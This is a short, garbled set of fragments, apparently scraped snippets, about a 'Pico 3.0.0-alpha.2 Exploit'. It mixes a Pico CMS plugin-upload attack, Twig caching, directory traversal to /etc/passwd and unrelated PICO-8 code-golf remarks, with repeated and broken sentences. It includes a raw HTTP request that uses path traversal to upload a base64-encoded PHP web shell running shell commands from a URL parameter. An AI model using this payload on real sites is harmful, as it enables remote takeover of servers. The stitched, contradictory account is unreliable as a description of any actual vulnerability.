: This allows users to run arbitrary one-line code (without syntax extensions) for only
POST /admin/plugins/PicoFileWrite/ HTTP/1.1 Content-Disposition: form-data; name="file_path"; filename="../../plugins/evil.php" Content-Disposition: form-data; name="file_content"; base64,PD9waHAgZWNobyBTeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4= Pico 3.0.0-alpha.2 Exploit
The vulnerability exists in the Pico::getPageData() method. In versions prior to 3.0.0, user input was sanitized strictly. However, in 3.0.0-alpha.2 , the developers introduced a performance optimization that caches compiled Twig templates based on file modification times. : This allows users to run arbitrary one-line
: Versions near 3.0.0 are vulnerable to Directory Traversal (CVE-2023-35818), which allows attackers to access sensitive system files like /etc/passwd . : Versions near 3
The Architecture of Inevitability: An Analysis of the Pico 3.0.0-alpha.2 Exploit
: Refined versions of this exploit allowed for the execution of complex code using as few as 8 tokens, though it generally required avoiding PICO-8's specific syntax extensions (like shorthands for if statements or assignments). Security Impact